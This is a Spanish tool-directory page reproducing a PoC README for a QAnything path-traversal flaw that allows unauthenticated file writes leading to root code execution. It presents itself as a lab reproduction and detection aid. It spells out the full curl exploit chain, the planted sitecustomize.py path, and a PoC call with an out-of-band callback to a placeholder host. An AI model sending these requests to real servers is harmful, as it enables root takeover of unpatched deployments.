Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-88533 — PoC y reproducción en laboratorio para CVE-2026-88533, una escritura arbitraria de archivos sin autenticación que conduce a RCE como root en QAnything mediante path traversal en el endpoint de carga. | Kitploit
Herramientas/GitHubGitHub/hemlock-lyk/cve-2026-88533
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC y reproducción en laboratorio para CVE-2026-88533, una escritura arbitraria de archivos sin autenticación que conduce a RCE como root en QAnything mediante path traversal en el endpoint de carga.

Ver Repositorio
1hace 10h 28mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-88533: Escritura Arbitraria de Archivos No Autenticada → RCE como Root en QAnything

ID de CVE: CVE-2026-88533 (asignado por MITRE, publicación del registro pendiente) Producto: QAnything de netease-youdao — plataforma de código abierto de RAG / QA sobre bases de conocimiento Afectado: v1.4.x hasta v2.0.0 (rama por defecto qanything-v2, hasta el commit final 65de104) Versión corregida: ninguna — proyecto sin mantenimiento desde 2025-03-12; la única corrección de saneamiento (PR #483) reside en la rama heredada master y nunca se fusionó en qanything-v2 Debilidad: CWE-22 Path Traversal Impacto: Creación arbitraria de archivos no autenticada → Ejecución Remota de Código como uid=0(root) Descubridor: Yankui Li


Resumen

El endpoint de carga de archivos toma el multipart controlado por el atacante y lo utiliza como ruta de destino sin sanear los separadores de ruta. expande de vuelta a , el filtrado de caracteres de ancho completo y el truncamiento por longitud dejan intactos y las rutas absolutas, y . El consiguiente escribe contenido controlado por el atacante en cualquier lugar al que el proceso pueda acceder — dentro de un contenedor por defecto.

POST /api/local_doc_qa/upload_files
filename
urllib.parse.unquote()
%2f
/
../
os.path.join(base, name)
descarta la base por completo cuando name es absoluto
open(file_location, "wb")
root

Dado que el producto no requiere autenticación en ningún punto (user_id/user_info son simples parámetros de la petición), cualquier instancia accesible por red acepta esto de forma anónima.

Causa raíz

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Dos propiedades hacen que esto sea explotable de forma fiable:

  1. Las rutas absolutas funcionan directamente — no se necesita contar ../.
  2. El recorrido relativo también funciona — %2e%2e%2f sobrevive porque unquote se ejecuta antes de cualquier filtro.

Un contraste de endurecimiento dentro del mismo código base: el endpoint upload_faqs reemplaza / por _ en los nombres de archivo. upload_files nunca recibió ese tratamiento, lo que lo convierte en el único vector de escritura.

Nota: LocalFile.__init__ tiene una guarda if not os.path.exists(file_location), por lo que solo se pueden crear archivos nuevos — los archivos existentes no pueden sobrescribirse. Por lo tanto, la explotación se dirige a archivos nuevos en ubicaciones ejecutables.

De escritura arbitraria a RCE como root

La imagen oficial de Docker ejecuta el backend de Python como root. CPython importa automáticamente sitecustomize.py desde site-packages al iniciar el intérprete — un archivo nuevo colocado en:

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ relativo, o ruta absoluta) se importa la próxima vez que arranca el backend, ejecutando código del atacante como uid=0(root).

¿Por qué site-packages y no el directorio de la aplicación? CPython ejecuta site.py antes de insertar sys.path[0], por lo que un sitecustomize.py junto al script de entrada no se autoimporta. site-packages es la única zona de colocación fiable.

Otros vectores fueron probados y descartados (documentados para completitud):

  • /etc/cron.d/ — el directorio existe y acepta escrituras, pero la imagen no incluye ningún demonio cron, por lo que nada ejecuta nunca el payload.
  • Sobrescribir archivos de configuración/código existentes — bloqueado por la guarda de existencia.

Reproducción en laboratorio

Imagen oficial + código fuente vulnerable fijado (commit 65de104):

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Uso del PoC (cero dependencias, solo la stdlib de Python 3)

El script PoC se incluye en este repositorio (poc_qanything_cve_2026_88533.py) — cada elemento de evidencia a continuación fue producido ejecutándolo contra el stack de laboratorio anterior. Clona y reproduce la salida exacta tú mismo:

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full reinicia el contenedor objetivo una vez (comportamiento documentado; la importación de CPython se dispara al arrancar). Todo se distribuye seguro por defecto: sin reverse shell, sin payload destructivo — el payload de demostración escribe un archivo marcador que contiene la salida de id.

Cómo se ve el tráfico del ataque

Todo el ataque son dos POST HTTP; esto es con lo que el contenido de detección debería coincidir (el filename multipart que lleva una ruta absoluta o secuencias ..//%2f es la señal clave):

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Evidencia

Toda la evidencia a continuación es la salida real de terminal de poc_qanything_cve_2026_88533.py (el script de este repositorio) ejecutado contra el stack de laboratorio construido a partir de docker-compose-lab.yaml. Ningún paso fue falsificado ni simulado — el script sale con código distinto de cero a menos que todas las comprobaciones pasen, por lo que puedes verificar la cadena de extremo a extremo tú mismo.

Stack de laboratorio — imagen oficial + dependencias mínimas, todos los contenedores saludables:

Lab stack

--mode check — primitiva de escritura no autenticada confirmada: el marcador fue escrito fuera del directorio de carga mediante un nombre de archivo multipart con ruta absoluta y leído de vuelta desde dentro del contenedor:

Check mode

--mode full — tras el reinicio del contenedor, CPython autoimporta el sitecustomize.py plantado; el marcador del payload demuestra la ejecución como uid=0(root):

Full chain

La transcripción completa de terminal de la ejecución de --mode full mostrada arriba también se incluye, literalmente: evidence/full-chain-run-2026-09-18.log — 6/6 comprobaciones [OK], veredicto RCE CONFIRMED, marcador del payload demostrando uid=0(root) con una marca de tiempo (los valores nonce/kb_id en el log se generan aleatoriamente en cada ejecución, por lo que tu propia ejecución diferirá — eso es lo esperado).

Se añadirá una captura de pantalla de la página del registro CVE una vez que el registro sea publicado.

Cronología

FechaEvento
2026-08-25Vulnerabilidad descubierta; primitiva de escritura verificada contra una instancia en vivo (marcador inofensivo + lectura de vuelta)
2026-08-29Cadena RCE completa reproducida en un laboratorio local aislado; informe redactado; enviado a MITRE (CNA-LR) vía cveform
2026-09-18CVE-2026-88533 asignado por MITRE
Por determinarRegistro CVE publicado; este repositorio y un análisis detallado publicados

Descargo de responsabilidad

Este material se publica con fines de investigación defensiva y educativos. Úsalo solo contra sistemas que poseas o para los que tengas autorización escrita explícita para probar. Consulta DISCLAIMER.md.

Descargar herramienta